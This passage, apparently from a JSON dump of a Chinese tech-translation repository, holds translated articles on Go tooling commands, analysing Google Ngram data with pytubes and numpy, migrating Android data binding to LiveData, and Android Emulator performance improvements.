/home/alex/Projects/playground/argon2id\n```\n\n一旦不再需要，你可以使用以下命令删除替换规则：\n\n```shell\n$ go mod edit -dropreplace=github.com/alexedwards/argon2id\n```\n\n你可以使用[same general technique](https://github.com/golang/go/wiki/Modules#can-i-work-entirely-outside-of-vcs-on-my-local-filesystem)导入**只在你自己的文件系统上存在**的包。如果你同时处理开发中的多个模块，其中一个模块依赖于另一个模块，则此功能非常有用。\n\n注意：如果你不想使用 `go mod edit` 命令，你也可以可以手动编辑 `go.mod` 文件以进行这些更改。两种方式都是可行的。\n\n## 升级到新版本\n\n`go fix` 工具最初于 2011 年发布（当时仍在对 Go 的 API 进行定期更改），以帮助用户自动更新旧代码以与最新版的 Go 兼容。从那以后，Go 的[兼容性承诺](https://golang.org/doc/go1compat)意味着如果你从 Go 1.x 版本升级到更新的 Go 1.x 版本，一切都应该正常工作，并且通常没有必要使用 `go fix`\n\n但是，在某些具体的问题上，`go fix` 的确起到了作用。你可以通过运行 `go tool fix -help` 来查看命令概述。如果你决定在升级后需要运行 `go fix`，则应该运行以下命令，然后在提交之前检查更改的差异。\n\n```shell\n$ go fix ./...\n```\n\n## 报告问题\n\n如果你确信在 Go 的标准库、工具和文档中找到了未报告的问题，则可以使用 `Go bug` 命令提出新的 Github issue。\n\n```shell\n$ go bug\n```\n\n这将会打开一个包含了系统信息和报告模板的 issue 填写页面。\n\n## 速查表\n\n**2019-04-19 更新：[@FedirFR](https://twitter.com/FedirFR) 基于这篇文章制作了一个速查表。你可以[点击这里下载](https://github.com/fedir/go-tooling-cheat-sheet/blob/master/go-tooling-cheat-sheet.pdf)。**\n\n[![](https://www.alexedwards.net/static/images/tooling-7.png)](https://github.com/fedir/go-tooling-cheat-sheet/blob/master/go-tooling-cheat-sheet.pdf)\n\n如果你喜欢这篇文章，请不要忘记查看我的新书《如何[用 Go 构建专业的 Web 应用程序](https://lets-go.alexedwards.net/)》。\n\n你可以在 Twitter 上关注我 [@ajmedwards](https://twitter.com/ajmedwards)。\n\n文中的所有代码片段均可在 [MIT 许可证](http://opensource.org/licenses/MIT)下自由使用。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/analysing-1-4-billion-rows-with-python.md",
    "content": "> * 原文地址：[Analysing 1.4 billion rows with python](https://hackernoon.com/analysing-1-4-billion-rows-with-python-6cec86ca9d73)\n> * 原文作者：[Steve Stagg](https://hackernoon.com/@stestagg?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/analysing-1-4-billion-rows-with-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/analysing-1-4-billion-rows-with-python.md)\n> * 译者：[Ryden Sun](https://github.com/rydensun)\n> * 校对者：[luochen1992](https://github.com/luochen1992) [allen](https://github.com/allenlongbaobao)\n\n# 使用 python 分析 14 亿条数据\n\n## 使用 pytubes，numpy 和 matplotlib\n\n[Google Ngram viewer](https://books.google.com/ngrams)是一个有趣和有用的工具，它使用谷歌从书本中扫描来的海量的数据宝藏，绘制出单词使用量随时间的变化。举个例子，单词 _Python_ (区分大小写)_：_\n\n![](https://cdn-images-1.medium.com/max/800/1*JBBDttphxwvek-nhV9v6eg.png)\n\n这幅图来自：[https://books.google.com/ngrams/graph?content=Python&year_start=1800&corpus=15&smoothing=0](https://books.google.com/ngrams/graph?content=Python&year_start=1800&corpus=15&smoothing=0)，描绘了单词  ‘Python’ 的使用量随时间的变化。\n\n它是由谷歌的 [n-gram](https://en.wikipedia.org/wiki/N-gram) 数据集驱动的，根据书本印刷的每一个年份，记录了一个特定单词或词组在谷歌图书的使用量。然而这并不完整（它并没有包含每一本已经发布的书！），数据集中有成千上百万的书，时间上涵盖了从 16 世纪到 2008 年。数据集可以[免费从这里下载](http://storage.googleapis.com/books/ngrams/books/datasetsv2.html)。\n\n我决定使用 Python 和我新的数据加载库 [PyTubes](http://github.com/stestagg/pytubes) 来看看重新生成上面的图有多容易。\n\n#### 挑战\n\n![](https://cdn-images-1.medium.com/max/600/1*GTuX_3Xo3bxvtf_GgJTwpA.jpeg)\n\n1-gram 的数据集在硬盘上可以展开成为 27 Gb 的数据，这在读入 python 时是一个很大的数据量级。Python可以轻易地一次性地处理千兆的数据，但是当数据是损坏的和已加工的，速度就会变慢而且内存效率也会变低。\n\n总的来说，这 14 亿条数据（1,430,727,243）分散在 38 个源文件中，一共有 2 千 4 百万个（24,359,460）单词（和词性标注，见下方），计算自 1505 年至 2008 年。\n\n当处理 10 亿行数据时，速度会很快变慢。并且原生 Python 并没有处理这方面数据的优化。幸运的是，[numpy](https://github.com/numpy/numpy) 真的很擅长处理大体量数据。 使用一些简单的技巧，我们可以使用 numpy 让这个分析变得可行。\n\n在 python/numpy 中处理字符串很复杂。字符串在 python 中的内存开销是很显著的，并且 numpy 只能够处理长度已知而且固定的字符串。基于这种情况，大多数的单词有不同的长度，因此这并不理想。\n\n#### Loading the data\n\n> 下面所有的代码/例子都是运行在 **8 GB 内存** 的 2016 年的 Macbook Pro。 如果硬件或云实例有更好的 ram 配置，表现会更好。\n\n1-gram 的数据是以 tab 键分割的形式储存在文件中，看起来如下：\n\n```\nPython 1587 4 2\nPython 1621 1 1\nPython 1651 2 2\nPython 1659 1 1\n```\n\n每一条数据包含下面几个字段：\n\n```\n1. Word\n2. Year of Publication\n3. Total number of times the word was seen\n4. Total number of books containing the word\n```\n\n为了按照要求生成图表，我们只需要知道这些信息，也就是：\n\n```\n1. 这个单词是我们感兴趣的？\n2. 发布的年份\n3. 单词使用的总次数\n```\n\n通过提取这些信息，处理不同长度的字符串数据的额外消耗被忽略掉了，但是我们仍然需要对比不同字符串的数值来区分哪些行数据是有我们感兴趣的字段的。这就是 pytubes 可以做的工作：\n\n```\nimport tubes\n\nFILES = glob.glob(path.expanduser(\"~/src/data/ngrams/1gram/googlebooks*\"))\nWORD = \"Python\"\n\n# Set up the data load pipeline\none_grams_tube = (tubes.Each(FILES)\n    .read_files()\n    .split()\n    .tsv(headers=False)\n    .multi(lambda row: (\n        row.get(0).equals(WORD.encode('utf-8')),\n        row.get(1).to(int),\n        row.get(2).to(int)\n    ))\n)\n\n# 将数据读入一个 numpy 数组。通过设置一个大概的精准度\n# 预估行数，pytubes 优化分配模式  \n# fields=True 这里是冗余的，但是确保了返回的 ndarray\n# 使用字段，而不是一个单独的多维数组 one_grams = one_grams_tube.ndarray(estimated_rows=500_000_000, fields=True)\n```\n\n差不多 170 秒（3 分钟）之后， _one_grams_ 是一个 numpy 数组，里面包含差不多 14 亿行数据，看起来像这样（添加表头部为了说明）：\n\n```\n╒═══════════╤════════╤═════════╕\n│   Is_Word │   Year │   Count │\n╞═══════════╪════════╪═════════╡\n│         0 │   1799 │       2 │\n├───────────┼────────┼─────────┤\n│         0 │   1804 │       1 │\n├───────────┼────────┼─────────┤\n│         0 │   1805 │       1 │\n├───────────┼────────┼─────────┤\n│         0 │   1811 │       1 │\n├───────────┼────────┼─────────┤\n│         0 │   1820 │     ... │\n╘═══════════╧════════╧═════════╛\n```\n\n从这开始，就只是一个用 numpy 方法来计算一些东西的问题了：\n\n#### 每一年的单词总使用量\n\n谷歌展示了每一个单词出现的百分比（某个单词在这一年出现的次数/所有单词在这一年出现的总数），这比仅仅计算原单词更有用。为了计算这个百分比，我们需要知道单词总量的数目是多少。\n\n幸运的是，numpy让这个变得十分简单：\n\n```\n\nlast_year = 2008\nYEAR_COL = '1'\nCOUNT_COL = '2'\n\nyear_totals, bins = np.histogram(\n    one_grams[YEAR_COL], \n    density=False, \n    range=(0, last_year+1),\n    bins=last_year + 1, \n    weights=one_grams[COUNT_COL]\n)\n```\n\n绘制出这个图来展示谷歌每年收集了多少单词：\n\n![](https://cdn-images-1.medium.com/max/800/1*MGpmL__D90H1skGgYO2ibg.png)\n\n很清楚的是在 1800 年之前，数据总量下降很迅速，因此这回曲解最终结果，并且会隐藏掉我们感兴趣的模式。为了避免这个问题，我们只导入 1800 年以后的数据：\n\n```\none_grams_tube = (tubes.Each(FILES)\n    .read_files()\n    .split()\n    .tsv(headers=False)\n    .skip_unless(lambda row: row.get(1).to(int).gt(1799))\n    .multi(lambda row: (\n        row.get(0).equals(word.encode('utf-8')),\n        row.get(1).to(int),\n        row.get(2).to(int)\n    ))\n)\n```\n\n这返回了 13 亿行数据（1800 年以前只有 3.7% 的占比）\n\n![](https://cdn-images-1.medium.com/max/800/1*rVjNfqQb0j-5S_opj4oTIA.png)\n\n#### Python 在每年的占比百分数\n\n获得 python 在每年的占比百分数现在就特别的简单了。\n\n使用一个简单的技巧，创建基于年份的数组，2008 个元素长度意味着每一年的索引等于年份的数字，因此，举个例子，1995 就只是获取 1995 年的元素的问题了。 \n\n这都不值得使用 numpy 来操作：\n\n```\n# 找到匹配的行 (column 是 Ture)\nword_rows = one_grams[IS_WORD_COL]\n# 创建一个空数组来保存每年占比百分数的值 \nword_counts = np.zeros(last_year+1)\n# 迭代至每条匹配的数据 （匹配一个单词时，应该只有几千行数据）\nfor _, year, count in one_grams[word_rows]:\n    # 设置相关的 word_counts 行为计算后的数值\n    word_counts[year] += (100*count) / year_totals[year]\n```\n\n绘制出 word_counts 的结果：\n\n![](https://cdn-images-1.medium.com/max/800/1*tJD7p3d6J8Ecl75tHIR5vQ.png)\n\n形状看起来和谷歌的版本差不多\n\n![](https://cdn-images-1.medium.com/max/800/1*JBBDttphxwvek-nhV9v6eg.png)\n\n实际的占比百分数并不匹配，我认为是因为下载的数据集，它包含的用词方式不一样（比如：Python_VERB）。这个数据集在 google page 中解释的并不是很好，并且引起了几个问题：\n\n*   人们是如何将 Python 当做动词使用的？\n*   ‘Python’ 的计算总量是否包含 ‘Python_VERB’？等\n\n幸运的是，我们都清楚我使用的方法生成了一个与谷歌很像的图标，相关的趋势都没有被影响，因此对于这个探索，我并不打算尝试去修复。\n\n#### 性能\n\n谷歌生成图片在 1 秒钟左右，相较于这个脚本的 8 分钟，这也是合理的。谷歌的单词计算的后台会从明显的准备好的数据集视图中产生作用。\n\n举个例子，提前计算好前一年的单词使用总量并且把它存在一个单独的查找表会显著的节省时间。同样的，将单词使用量保存在单独的数据库/文件中，然后建立第一列的索引，会消减掉几乎所有的处理时间。\n\n这次探索 _确实_ 展示了，使用 numpy 和 初出茅庐的 pytubes 以及标准的商用硬件和 Python，在合理的时间内从十亿行数据的数据集中加载，处理和提取任意的统计信息是可行的，\n\n### 语言战争\n\n为了用一个稍微更复杂的例子来证明这个概念，我决定比较一下三个相关提及的编程语言：**Python，Pascal,** 和 **Perl.**\n\n源数据比较嘈杂（它包含了所有使用过的英文单词，不仅仅是编程语言的提及，并且，比如，python 也有非技术方面的含义！），为了这方面的调整， 我们做了两个事情：\n\n1.  只有首字母大写的名字形式能被匹配（Python，不是 python）\n2.  每一个语言的提及总数已经被转换到了从 1800 年到 1960 年的百分比平均数，考虑到 Pascal 在 1970 年第一次被提及，这应该有一个合理的基准线。\n\n#### 结果:\n\n![](https://cdn-images-1.medium.com/max/800/1*AsipoFxV-cE2zIuDqZOiHw.png)\n\n对比谷歌 (_没有任何的基准线调整_):\n\n![](https://cdn-images-1.medium.com/max/800/1*aWPxvopsNmbY50WKF8Wvjg.png)\n\n运行时间: 只有 10 分钟多一点\n\n代码: [https://gist.github.com/stestagg/910859576f44f20e509822365414290d](https://gist.github.com/stestagg/910859576f44f20e509822365414290d)\n\n#### 以后的 PyTubes 提升\n\n在这个阶段，pytubes 只有单独一个整数的概念，它是 64 比特的。这意味着 pytubes 生成的 numpy 数组对所有整数都使用 i8 dtypes。在某些地方（像 ngrams 数据），8 比特的整型就有点过度，并且浪费内存（总的 ndarray 有 38Gb，dtypes 可以轻易的减少其 60%）。 我计划增加一些等级 1，2 和 4 比特的整型支持([https://github.com/stestagg/pytubes/issues/9](https://github.com/stestagg/pytubes/issues/9))\n\n更多的过滤逻辑 - Tube.skip_unless() 是一个比较简单的过滤行的方法，但是缺少组合条件（AND/OR/NOT）的能力。这可以在一些用例下更快地减少加载数据的体积。\n\n更好的字符串匹配 —— 简单的测试如下：startswith, endswith, contains, 和 is_one_of 可以轻易的添加，来明显地提升加载字符串数据是的有效性。\n\n一如既往，非常欢迎大家 [patches](https://github.com/stestagg/pytubes)！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/android-data-binding-library-from-observable-fields-to-livedata-in-two-steps.md",
    "content": "> * 原文地址：[Android Data Binding Library — From Observable Fields to LiveData in two steps](https://medium.com/androiddevelopers/android-data-binding-library-from-observable-fields-to-livedata-in-two-steps-690a384218f2)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/android-data-binding-library-from-observable-fields-to-livedata-in-two-steps.md](https://github.com/xitu/gold-miner/blob/master/TODO1/android-data-binding-library-from-observable-fields-to-livedata-in-two-steps.md)\n> * 译者：[Rickon](https://github.com/gs666)\n\n# Android 数据绑定库 — 从可观察域到 LiveData 仅需两步\n\n![Illustration by [Virginia Poltrack](https://twitter.com/vpoltrack)](https://cdn-images-1.medium.com/max/8418/1*QhbnhjTMT9gTIP36Lo7-mQ.png)\n\n数据绑定最重要的特性之一是[**可观察性**](https://developer.android.com/topic/libraries/data-binding/observability)。你可以用它绑定数据和 UI 元素，以便在数据更改时，相关元素在屏幕上更新。\n\n**默认情况下**，普通基元和字符串是**不**可被观察的，因此如果在数据绑定布局中使用它们，则在创建绑定时将使用它们的值，但对它们的后续更改会被忽略。\n\n为了使对象可被观察，我们的[数据绑定库](https://developer.android.com/topic/libraries/data-binding/)中包含了一系列可被观察的类：`ObservableBoolean`、`ObservableInt`、`ObservableDouble` 和范型：`ObservableField<T>`。从现在开始，我们称这些为**可观察域**。\n\n几年后，作为第一波[架构组件](https://developer.android.com/topic/libraries/architecture)的一部分，我们发布了 [**LiveData**](https://developer.android.com/topic/libraries/architecture/livedata)，这**又**是一个可被观察的。这是与数据绑定兼容的候选，因此我们添加了此功能。\n\n[LiveData](https://developer.android.com/topic/libraries/architecture/livedata) 是可以感知生命周期的，对于可观察域而言，这并不是一个很大的优势，因为数据绑定库已经检查了视图何时处于活动状态。但是，**LiveData 支持 [Transformations](https://developer.android.com/reference/android/arch/lifecycle/Transformations) 和很多架构组件，比如 [Room](https://developer.android.com/topic/libraries/architecture/room) 和 [WorkManager](https://developer.android.com/reference/androidx/work/WorkManager)。**\n\n**出于这些原因，建议你迁移到 LiveData。**你只需要两步即可完成。\n\n## 第一步：使用 LiveData 代替可观察域\n\n如果你直接在数据绑定布局中使用可观察域，只需使用 `LiveData<Something>` 替换 `ObservableSomething`（或 `ObservableField<Something>`）。\n\n修改前：\n\n```XML\n<data>\n    <import type=\"android.databinding.ObservableField\"/>\n    <variable \n        name=\"name\" \n        type=\"ObservableField&lt;String>\" />\n</data>\n…\n<TextView\n    android:text=\"@{name}\"\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"/>\n\n```\n\n> **Remember that `%lt;` is not a typo. You have to escape the `<` character inside XML layouts.**\n\n修改后：\n\n```XML\n<data>\n        <import type=\"android.arch.lifecycle.LiveData\" />\n        <variable\n            name=\"name\"\n            type=\"LiveData&lt;String>\" />\n</data>\n…\n<TextView\n    android:text=\"@{name}\"\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"/>\n\n```\n\n或者，如果你从 [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel)（首选方法）或一个 presenter 层或控制器暴露可观察对象，则无需更改布局。只需在 ViewModel 中用 `LiveData` 替换那些 `ObservableField`。\n\n修改前：\n\n```Kotlin\nclass MyViewModel : ViewModel() {\n    val name = ObservableField<String>(\"Ada\")\n}\n\n```\n\n修改后：\n\n```Kotlin\nclass MyViewModel : ViewModel() {\n    private val _name = MutableLiveData<String>().apply { value = \"Ada\" }\n\n    val name: LiveData<String> = _name // Expose the immutable version of the LiveData\n}\n\n```\n\n## 第二步：设置 LiveData 的生命周期所有者\n\n绑定类有一个名为 `setLifecycleOwner` 的方法，在从数据绑定布局中观察 LiveData 时必须调用该方法。\n\n修改前：\n\n```Kotlin\nval binding = DataBindingUtil.setContentView<TheGeneratedBinding>(\n    this,\n    R.layout.activity_data_binding\n)\n\nbinding.name = myLiveData // or myViewModel\n```\n\n修改后：\n\n```Kotlin\nval binding = DataBindingUtil.setContentView<TheGeneratedBinding>(\n    this,\n    R.layout.activity_data_binding\n)\n\nbinding.lifecycleOwner = this // Use viewLifecycleOwner for fragments\n\nbinding.name = myLiveData // or myViewModel\n\n```\n\n> 注意：如果要设置 fragment 的内容，建议使用 `fragment.viewLifecycleOwner`（而不是 fragment 的生命周期）来处理潜在的分离的 fragments。\n\n---\n\n现在你可以使用你的带有 [Transformations](https://developer.android.com/reference/android/arch/lifecycle/Transformations) 和 [MediatorLiveData](https://developer.android.com/reference/android/arch/lifecycle/MediatorLiveData) 的 [LiveData](https://developer.android.com/topic/libraries/architecture/livedata) 对象。如果你不熟悉这些功能，可以参阅 [“Fun with LiveData” 录像，来自 2018 Android 开发者大会](https://www.youtube.com/watch?v=2rO4r-JOQtA)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/android-emulator-project-marble-improvements.md",
    "content": "> * 原文地址：[Android Emulator: Project Marble Improvements](https://medium.com/androiddevelopers/android-emulator-project-marble-improvements-1175a934941e)\n> * 原文作者：[Android Developers](https://medium.com/@AndroidDev)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/android-emulator-project-marble-improvements.md](https://github.com/xitu/gold-miner/blob/master/TODO1/android-emulator-project-marble-improvements.md)\n> * 译者：[qiuyuezhong](https://github.com/qiuyuezhong)\n\n# Android 模拟器：Project Marble 中的改进\n\n![](https://cdn-images-1.medium.com/max/3200/0*YXbEJNUcY1n4S5N1)\n\n这是 Android Studio 团队一系列博客文章中第三篇，深入探讨了 [Project Marble](https://android-developers.googleblog.com/2019/01/android-studio-33.html) 中的细节和幕后情况。本文是由模拟器团队的 Sam Lin（产品经理），Lingfeng Yang（技术主管）和 Bo Hu（技术主管）撰写的。\n\n今天我们很高兴地向您介绍我们在 Project Marble 期间在 Android 模拟器上取得的最新进展。我们的核心目标之一是使 Android 模拟器成为应用程序开发的必选设备。物理 Android 设备非常棒，但我们的目标是增加功能和性能，使您在开发和测试 Android 应用程序时更加高效。\n\n我们听说很多应用程序开发者喜欢我们最近对模拟器所做的改进，从 2 秒的启动时间，GPU 图形加速，再到[屏幕快照](https://developer.android.com/studio/run/emulator#snapshots)。然而，我们也听说 Android 模拟器消耗了您开发电脑上的太多系统资源。为了解决这个问题，我们在 Project Marble 中创建了一个任务来优化 Android 模拟器的 CPU 使用率。在过去几个月的 Project Marble 中，在不违背原本设计原则的情况下，Android 模拟器的能效和绘制速度有了显著提升。在本文中，我们将介绍到目前为止在 [Canary Channel](https://developer.android.com/studio/preview/install-preview#change_your_update_channel) 上 Android Emulator 28.1 发布的一些进展。\n\n## 在减少开销的同时保持原本设计原则\n\nAndroid 模拟器的最大好处在于为开发者提供了一种可扩展的方法，通过各种设备配置和屏幕分辨率来测试最新 Android API，而无需为每个配置购买物理设备。因此，在 Android 模拟器上测试应用程序应该尽可能贴近在物理设备上的测试，并同时保持虚拟设备的优势。\n\n为了支持最新的系统映像，我们特意设计一个尽可能接近物理设备的 Android 模拟器，而不只是一个仿真器，这种方法可以确保 API 的正确性以及 Android 系统行为和交互的高保真度。当一个新的 Android 版本推出时，我们只需要确保我们的硬件抽象层（HALs）和内核与模拟器和新的系统映像兼容，而不需要从头开始为新的 Android 版本重新实现 Android API 中的所有更改。这种体系结构最终大大地加快了模拟器采用新的系统映像的速度。\n\n然而，这种完整的系统模拟方法在 CPU 周期和内存访问上的开销都会增加。相比之下，基于模拟器的方法在主机系统上包装类似的 API，开销可能会更低。因此，我们的挑战在于，在降低 CPU 和内存开销的同时，保持完整系统模拟的准确性和维护优势。\n\n## 对 Android 模拟器架构的研究\n\nAndroid 模拟器在称为 Android 虚拟设备（AVD）的虚拟机上运行 Android 操作系统。AVD 包含了完整的 [Android 软件栈](https://source.android.com/devices/architecture)，运行时就像在物理设备上一样。总体架构图如下。\n\n![**Android Emulator System Architecture**](https://cdn-images-1.medium.com/max/2262/0*H8Y7VKtH1vckbx5M)\n\n由于整个 Android 操作系统的运行和主机的操作系统完全分离，因此运行 Android 模拟器可能会导致主机机器上的后台活动，即便没有任何输入。在进行了一些技术调查之后发现，当 AVD 空闲时，如下一些任务是 CPU 周期的主要消耗者：\n\n* Google Play Store —— 当有新版本时，应用程序会自动更新。\n* 后台服务 —— 当它认为设备在充电时，一些响应式的服务会使 CPU 使用率保持在较高水平。\n* 动画 —— 例如[实况壁纸](https://android-developers.googleblog.com/2010/02/live-wallpapers.html)\n\n对于这些领域我们进行了更深入的技术研究并找到了以下 5 个解决方案来优化 Android 模拟器。\n\n1. 默认电池模式\n2. 模拟器的暂停/恢复\n3. 减少绘制调用的开销\n4. 减少 macOS 上主循环的 IO 开销\n5. Headless 构建\n\n### 改进 #1 —— 默认电池模式\n\n之前，Android 模拟器把 AVD 的电池模式设置为[充电模式](https://developer.android.com/reference/android/os/BatteryManager.html#BATTERY_STATUS_CHARGING)。经过深思熟虑的讨论和数据分析，我们得出结论，最好将 AVD 默认设置为电池模式。因为大多数 Android framework，服务和应用程序都经过了优化以节省电池寿命，这些优化都只在设备（物理设备或虚拟设备）认为它在使用电池而不是充电时才开始。\n\n然而，仅仅默认 AVD 使用电池还不够。因为处于电池模式会导致屏幕在一段时间之后自动关闭。这对于在笔记本电脑或者台式机上使用 Android 模拟器的用户来说会有一点困惑，因为他们期望应用程序不会随机进入睡眠状态，需要被唤醒。为了防止这种情况，Android 模拟器将在每次冷启动完成时用 [ADB shell 命令](https://developer.android.com/reference/android/provider/Settings.System#SCREEN_OFF_TIMEOUT)将屏幕关闭的时间设置为最大值（~24 天）。\n\n有了这些改变，Google Play Store 不会在电池模式再自动更新应用程序，避免了系统开销。然而，在切回充电模式之后，[应用程序的自动升级]  (https://support.google.com/googleplay/answer/113412?hl=en) 仍然可以被触发。这实际上让开发者可以控制何时自动更新应用程序。这可以防止对关键用例的干扰，比如当用户只想构建和测试单个应用程序的时候。下表比较了电池模式和充电模式下的 CPU 使用状况：\n\n![**AVD CPU Usage: Auto-update app vs Idle**](https://cdn-images-1.medium.com/max/2444/0*gt4ov7MOkjcvhFYP)\n\n### 改进 #2 —— 模拟器暂停/恢复\n\n在很多情况下，你可能需要立即保证模拟器不会在关键任务期间（比如编辑/生成/部署）在后台占用 CPU 周期。为了解决这个问题，我们正在研究一个控制台命令和接口，用于完全暂停模拟器 CPU 的使用。这可以通过以下控制台命令显示暂停/恢复 AVD 来完成。\n\n![**Android Emulator: Pause command line options**](https://cdn-images-1.medium.com/max/2808/1*Q77jcfo5jiRqRwhW2l2NgA.png)\n\n这里的挑战是如何协调 Android Studio 和 Android 模拟器状态的改变。所以当在部署应用程序时，我们会自动恢复模拟器。我们还在研究这个机制，很高兴听到您的[想法和反馈](https://source.android.com/setup/contribute/report-bugs#developer-tools)。\n\n### 改进 #3 —— 减少绘制调用的开销\n\n我们还对 Android 模拟器的引擎进行了修改，使其更高效的绘图，从而在测试屏幕上有很多对象的图形密集型应用程序时获得更流畅的用户体验。比如，模拟器 v28.1.10 在[GPU 模拟压力测试应用程序](https://github.com/google/gpu-emulation-stress-test)上的绘制速度比 v28.0.23 提升了 8%。我们还在 Android Q 上进行进一步的优化，并将在 [Android Q preview](https://developer.android.com/preview) 期间共享其他更新。\n\n![**Emulator OpenGL ES FPS: 28.0.23 vs 28.1.10**](https://cdn-images-1.medium.com/max/3200/0*9SgQAdVAIYAHR_eD)\n\n### 改进 #4 —— 减少 macOS 上主循环的 IO 开销\n\n完整的系统模拟器必须维护一些方法，以通知虚拟操作系统磁盘和网络上的 I/O 已经完成。Android 模拟器基于 [QEMU](https://www.qemu.org/)，使用主循环和 IO 线程来做到这一点。这在 Linux 和 Windows 上的开销都比较低。然而在 macOS 上我们看到，由于使用了 select() 系统调用，主循环的 CPU 使用率更高。这通常没有高效的实现方式。macOS 提供了一个低开销的方式来等待 I/O：[kqueue](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man2/kqueue.2.html)。我们发现当前基于 select() 主 I/O 循环，可以替换为基于 [kqueue](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man2/kqueue.2.html) 的主 I/O 循环。这大幅降低了主循环中的 CPU 使用率，从 10% 降低到 3%。由于这并不能说明所有空闲 CPU 使用率的情况，下面的图表没有显示太多的变化。然而，这种差异仍然是可以观察到的。\n\n![AVD Idle CPU Usage — Emulator 28.0.23 vs 28.1.10](https://cdn-images-1.medium.com/max/2444/0*O_gCbgpsbOadRFV9)\n\n### 改进 #5 —— Headless 构建\n\n对于那些在 Android 应用程序构建中使用持续集成系统的用户，我们也在这方面进行了性能改进。通过关闭 Android 模拟器的用户界面，您可以使用新的模拟器 Headless 模式。这种新的模式在后台运行测试，并使用更少的内存。它大概还需要 100MB，主要是因为我们在用户界面使用的 [Qt](https://www.qt.io/) 库没有加载。当不需要用户界面和交互时，这也是运行自动化测试的一个好选择。增量可以类似如下那样启动两个模拟器 AVD 实例来测量。注意，命令行示范显式地指定主机的 GPU 模式，以确保在相同的条件下进行比较。\n\n![**Android Emulator: Headless emulator command line option**](https://cdn-images-1.medium.com/max/2808/1*qhp25FXwP_K4gE8ggOQQbQ.png)\n\n![**AVD Idle Memory Usage — emulator vs emulator-headless**](https://cdn-images-1.medium.com/max/2402/0*DZ20pZNiqKnaydzW)\n\n### 接下来\n\n要使用本文中介绍的性能和资源优化，请在 [Canary Channel](https://developer.android.com/studio/preview/install-preview#change_your_update_channel) 下载 Android Emulator 28.1。我们很高兴能与您分享这次提前的进展，但我们肯定还没有完成。我们今天邀请您尝试 Android Emulator 的最新更新，并向我们发送您的[反馈](https://developer.android.com/studio/report-bugs.html#emulator-bugs)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 